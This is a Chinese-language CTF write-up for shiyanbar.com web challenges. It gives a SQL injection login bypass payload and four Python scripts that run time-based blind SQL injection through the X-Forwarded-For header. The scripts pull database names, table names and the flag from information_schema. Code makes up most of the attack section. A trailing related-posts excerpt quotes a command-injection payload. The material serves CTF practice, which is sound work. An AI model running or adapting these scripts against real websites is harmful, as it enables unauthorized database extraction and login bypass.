实验吧 web题writeup
1.http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
用户名我输入:or'xor"and"select"union'
结果给我过滤成了:
可见该过滤的都过滤了,但是唯独单引号以及双引号都没过滤。这里就可以想到万能密码了。
猜想其sql语句为:select * from admin where username = ' ' and password = ' ';
可以那么写:
username: def' = '0
password :def' = '0
然后就组成了
select * from admin where username = 'def' = '0' and password = 'def' = '0';
def是我随意输入的一个字符所以肯定不是正确的密码,不是正确的密码就会返回false,而false等同于0。那么便会导致其sql语句成立进而绕过登陆。
2.http://ctf5.shiyanbar.com/web/wonderkun/index.php
看到IP,这里能想到的也就是x-forwarded-for IP伪造注入了。这里的注入实在搞了很久。
爆裤
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[] for database_number in range(0,100): #假设爆破前100个库
databasename=''
for i in range(1,100): #爆破字符串长度,假设不超过100长度
flag=0
for str in guess: #爆破该位置的字符
#print 'trying ',str
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
databasename+=str
flag=1
print '正在扫描第%d个数据库名,the databasename now is '%(database_number+1) ,databasename
break
if flag==0:
break
database.append(databasename)
if i==1 and flag==0:
print '扫描完成'
break for i in range(len(database)):
print database[i]
爆表明
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[] for table_number in range(0,500):
print 'trying',table_number
headers = {"X-forwarded-for":"'+"+" (select case when (select count(table_name) from information_schema.TABLES ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
print table_number
break
爆列名
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
tables=[] for table_number in range(41,42): #假设从第60个开始
tablename=''
for i in range(1,100): #爆破字符串长度,假设不超过100长度
flag=0
for str in guess: #爆破该位置的字符
headers = {"X-forwarded-for":"'+"+" (select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except:
tablename+=str
flag=1
print '正在扫描第%d个数据库名,the tablename now is '%(table_number+1) ,tablename
break
if flag==0:
break
tables.append(tablename)
if i==1 and flag==0:
print '扫描完成'
break for i in range(len(tables)):
print tables[i]
保出内容
#-*-coding:utf-8-*-
import requests
import string
url="http://xxx"
guess=string.lowercase + string.uppercase + string.digits
flag="" for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break print 'result:' + flag //作者:Ovie
//链接:http://www.jianshu.com/p/5d34b3722128
//來源:简书
//著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
代码:http://blog.csdn.net/qq_35078631/article/details/54773769
实验吧 web题writeup的更多相关文章
- 实验吧web题:
实验吧web题: 这个有点简单 因为刚了解sqlmap,所以就拿sqlmap来练练手了 1,先测试该页面是否存在sql注入漏洞 2.找到漏洞页面,复制url,然后打开sqlmap 先查看当前数据库 然 ...
- 实验吧web题(26/26)全writeup!超详细:)
#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...
- 实验吧 Web的WriteUp
每次看别人的Writeup都有一种感觉,为什么有了WriteUp我还是不会,每次都打击自己的积极性,所以自己尝试写一篇每个萌新都能看懂的Writeup. 0x01 天下武功唯快不破 题目提示 : 看看 ...
- ISG2018 web题Writeup
0x01.命令注入 这题可以使用burpsuite扫出来,但是可能需要测一下. 得知payload为:i%7cecho%20gzavvlsv9c%20q9szmriaiy%7c%7ca%20%23'% ...
- SycSec成都信息工程大学2019CTF-前五道WEB题writeup
一.WEB (1)一起来撸猫 flag藏在标签的注释内 <!--这是注释--> (2)你看见过我的菜刀么 eval漏洞 利用蚁剑连接 连接密码就是要post传的参数 连接成功后在网站根目 ...
- CTFHub Web题学习笔记(SQL注入题解writeup)
Web题下的SQL注入 1,整数型注入 使用burpsuite,?id=1%20and%201=1 id=1的数据依旧出现,证明存在整数型注入 常规做法,查看字段数,回显位置 ?id=1%20orde ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- 20155201 网络攻防技术 实验九 Web安全基础
20155201 网络攻防技术 实验九 Web安全基础 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 二.报告内容: 1. 基础问题回答 1)SQL注入攻击 ...
随机推荐
- Linux安装ElasticSearch-2.2.0-分词器插件(IK)
1.在gitpub上搜索elasticsearch-analysis,能够看到所有elasticsearch的分词器: 2.安装IK分词器:https://github.com/medcl/elast ...
- controller.tabBarItem.title = @"11111"不显示
场景: 在xcode8.3下 今天在弄工程的时候,发现把之前工程中的tabbar控制器拿过来后,在控制器里面用 controller.tabBarItem.title = @"11111& ...
- Firefox 网络调试工具
1.Firefox 简介 Firefox 官网下载地址 Firefox 其它下载地址 Firefox 58.0.2 for Mac,密码:346y. Firefox 36.0.4 for Mac,密码 ...
- 纯css打造美丽的html表格
花了点时间,自己做了个美丽的html表格,採用技术有css,html,其它的废话我也不多说了,直接上图.上代码. 界面图片: HTML代码: <%@ page language="ja ...
- Nginx启动/重启脚本详解
Nginx手动启动 停止操作 停止操作是通过向nginx进程发送信号(什么是信号请参阅linux文 章)来进行的步骤1:查询nginx主进程号ps -ef | grep nginx在进程列表里 面找m ...
- Asp.net2.0之自定义控件ImageButton
控件模仿winform中的button,可以支持图片和文字.可以选择执行服务器端程序还是客户端程序,还有一些简单的设置. 不足的是不支持样式,下次希望可以写一个工具条. 以下就是代码 以下为引用的内容 ...
- MySQL中 optimize table '表名'的作用
语法: optimize table '表名' 一,原始数据 1,数据量 2,存放在硬盘中的表文件大小 3,查看一下索引信息 索引信息中的列的信息说明. Table :表的名称.Non_unique: ...
- c#asp.net url 传递中文参数要使用 System.Web.HttpUtility.UrlEncode 而不能使用Server.UrlEncode
最近网站里的参数包括中文的例如: http://www.taiba/Tag%b0%ae%c7%e9.html 已开始使用 Server.UrlEncode来做的,但发现,有一些中文在url重写的是说找 ...
- 第一篇:初识ASP.NET控件开发_第二节:HelloWorld
1)步骤一:新建类库项目:Controls,创建新解决方案:CustomLibrary 2)步骤二:在类库项目中添加“ASP.NET服务器控件”新建项:RenderHelloWorld.cs (也可以 ...
- VS Code 中文注释显示乱码 解决方法
将设置中的"files.autoGuessEncoding"项的值改为true即可. 1.文件 2.首选项 3.设置 4.搜索 "files.autoGuessEncod ...